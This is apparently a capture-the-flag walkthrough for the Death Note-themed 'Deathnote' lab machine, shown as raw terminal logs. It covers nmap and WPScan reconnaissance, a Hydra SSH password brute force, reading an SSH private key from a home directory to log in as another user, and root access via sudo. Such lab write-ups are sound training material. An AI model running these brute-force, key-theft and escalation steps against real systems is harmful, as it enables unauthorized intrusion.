┌──(root㉿kakeru)-[~/tmp] └─# nmap -A 192.168.179.40 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-1110:38 CST Nmap scan report for 192.168.179.40 (192.168.179.40) Host is up (0.0028s latency). Not shown:998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 20485e:b8:ff:2d:ac:c7:e9:3c:99:2f:3b:fc:da:5c:a3:53 (RSA) | 256 a8:f3:81:9d:0a:dc:16:9a:49:ee:bc:24:e4:65:5c:a6 (ECDSA) |_ 2564f:20:c3:2d:19:75:5b:e8:1f:32:01:75:c2:70:9a:7e (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.4.38 (Debian) MAC Address:1A:04:7A:CB:01:C4 (Unknown) Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15-5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2-7.5 (Linux 5.6.3) Network Distance:1 hop Service Info:OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 12.76 ms 192.168.179.40 (192.168.179.40)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
┌──(root㉿kakeru)-[~/tmp] └─# curl http://192.168.179.40/important.jpg i am Soichiro Yagami, light's father i have a doubt if L istrueaboutthe assumption that light is kira
i can only help you by giving something important
login username : user.txt i don't know the password. find itby yourself but i think itisinthe hint section of site
WordPress Security Scanner by the WPScan Team Version 3.8.27 Sponsored by Automattic - https://automattic.com/ @_WPScan_,@ethicalhack3r,@erwan_lr,@firefart _______________________________________________________________
[+] Upload directory has listing enabled: http://deathnote.vuln/wordpress/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
┌──(root㉿kakeru)-[~/tmp] └─# hydra -L user.txt -P note.txt ssh://192.168.179.40 Hydra v9.5 (c) 2023by van Hauser/THC & David Maciejak - Please donot use in military or secret service organizations, orfor illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-1112:13:22 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1server, overall 16 tasks, 731login tries (l:17/p:43), ~46 tries per task [DATA] attacking ssh://192.168.179.40:22/ [STATUS] 280.00 tries/min, 280 tries in00:01h, 453todoin00:02h, 14 active [22][ssh] host: 192.168.179.40login: l password: death4me [STATUS] 283.00 tries/min, 566 tries in00:02h, 167todoin00:01h, 14 active 1of1 target successfully completed, 1validpasswordfound Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-1112:16:03
The programs included withthe Debian GNU/Linux system are free software; the exact distribution terms for each program are described inthe individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, tothe extent permitted by applicable law. Last login: Sat Sep 406:12:292021from192.168.1.6 l@deathnote:~$ sudo -l [sudo] password for l: Sorry, user l may notrun sudo on deathnote. l@deathnote:~$
l@deathnote:/opt/L$ ls fake-notebook-rule kira-case l@deathnote:/opt/L$ cd fake-notebook-rule/ l@deathnote:/opt/L/fake-notebook-rule$ ls case.wav hint l@deathnote:/opt/L/fake-notebook-rule$ file hint hint:ASCII text l@deathnote:/opt/L/fake-notebook-rule$ cat hint use cyberchef
l@deathnote:/opt/L/kira-case$ cat case-file.txt the FBI agent died on December27, 2006
1 week after the investigation of the task-force member/head. aka..... SoichiroYagami's family . hmmmmmmmmm...... and according to watari , he died as other died after Kira targeted them . and we also found something in fake-notebook-rule folder .
l@deathnote:/opt/L/kira-case$ cd /home l@deathnote:/home$ ls kira l l@deathnote:/home$ cd kira
l@deathnote:/home/kira$ ls -al total 36 drwxr-xr-x 4 kira kira 4096Sep42021 . drwxr-xr-x 4 root root 4096Jul192021 .. -rw------- 1 kira kira 39Feb1023:48 .bash_history -rw-r--r-- 1 kira kira 220Jul192021 .bash_logout -rw-r--r-- 1 kira kira 3526Jul192021 .bashrc -rwx------ 1 kira root 85Aug292021 kira.txt drwxr-xr-x 3 kira kira 4096Jul192021 .local -rw-r--r-- 1 kira kira 807Jul192021 .profile drwxr-xr-x 2 kira kira 4096Jul192021 .ssh l@deathnote:/home/kira$ cd .ssh l@deathnote:/home/kira/.ssh$ ls authorized_keys l@deathnote:/home/kira/.ssh$ cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDyiW87OWKrV0KW13eKWJir58hT8IbC6Z61SZNh4Yzm9XlfTcCytDH56uhDOqtMR6jVzs9qCSXGQFLhc6IMPF69YMiK9yTU5ahT8LmfO0ObqSfSAGHaS0i5A73pxlqUTHHrzhB3/Jy93n0NfPqOX7HGkLBasYR0v/IreR74iiBI0JseDxyrZCLcl6h9V0WiU0mjbPNBGOffz41CJN78y2YXBuUliOAj/6vBi+wMyFF3jQhP4Su72ssLH1n/E2HBimD0F75mi6LE9SNuI6NivbJUWZFrfbQhN2FSsIHnuoLIJQfuFZsQtJsBQ9d3yvTD2k/POyhURC6MW0V/aQICFZ6z l@deathnote
l@deathnote:~/.ssh$ ls id_rsa id_rsa.pub known_hosts l@deathnote:~/.ssh$ cat id_rsa -----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn NhAAAAAwEAAQAAAQEA8olvOzliq1dCltd3iliYq+fIU/CGwumetUmTYeGM5vV5X03AsrQx +eroQzqrTEeo1c7PagklxkBS4XOiDDxevWDIivck1OWoU/C5nztDm6kn0gBh2ktIuQO96c ZalExx684Qd/ycvd59DXz6jl+xxpCwWrGEdL/yK3ke+IogSNCbHg8cq2Qi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AAAIEA/mrWAdzdukdspQuoBRYWgBg1HjW38fn/CXvwHlx+3u61RRTmXLBl badAoyC5flrOzdubDdozp+p7n4mGBmRI8CPxhyrTKDduVb0TpH1M7NWboYazhqwm6j1Fki mBM/WOeLxM5VvUAN31jETQajjyDyx0Oo1PDy4NKBJ6I22LHUsAAACBAPQLrb05ptUGPdHC CLpY3Go52IpEjW+HjP60KQCkyGPBzSJeVbRE5yT7wBIevTIzk7OW1V3Kzx0816X116w4dz 44OmPP8lcu4JTrRmNEO6ptX7dI4BrfbpA49hLsG1/QWuP/QkrE/+aiKEU2mtxOAkj72zJ2 KHY9pOWV1D9Uwas5AAAAC2xAZGVhdGhub3RlAQIDBAUGBw== -----END OPENSSH PRIVATE KEY----- l@deathnote:~/.ssh$ ssh kira@192.168.179.40-i id_rsa The authenticity of host '192.168.179.40 (192.168.179.40)' can't be established. ECDSA key fingerprint is SHA256:IT1oaQY12jhOmyoQGZC1hKHtYUWy6i8rET2yKX0KkpI. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.179.40' (ECDSA) to the list of known hosts. Linux deathnote 4.19.0-17-amd64 #1 SMP Debian 4.19.194-2 (2021-06-21) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in/usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Sep 4 06:00:09 2021 from 127.0.0.1 kira@deathnote:~$
然后通过kira.txt这个内容,也能找到/opt/L这个文件然后得到kira密码,继续下面操作
1 2 3 4 5 6 7 8 9
kira@deathnote:~$ ls kira.txt kira@deathnote:~$ cat kira.txt cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp kira@deathnote:~$ echo "cGxlYXNlIHByb3RlY3Qgb25lIG9mIHRoZSBmb2xsb3dpbmcgCjEuIEwgKC9vcHQpCjIuIE1pc2EgKC92YXIp" | base64 -d please protect one of the following 1. L (/opt) 2. Misa (/var)kira@deathnote:~$
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
kira@deathnote:~$ sudo -l [sudo] password forkira: MatchingDefaults entries for kira on deathnote: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User kira may run the following commands on deathnote: (ALL : ALL) ALL kira@deathnote:~$ su - root Password: su:Authentication failure kira@deathnote:~$ sudo /bin/bash root@deathnote:/home/kira# id uid=0(root) gid=0(root) groups=0(root) root@deathnote:/home/kira#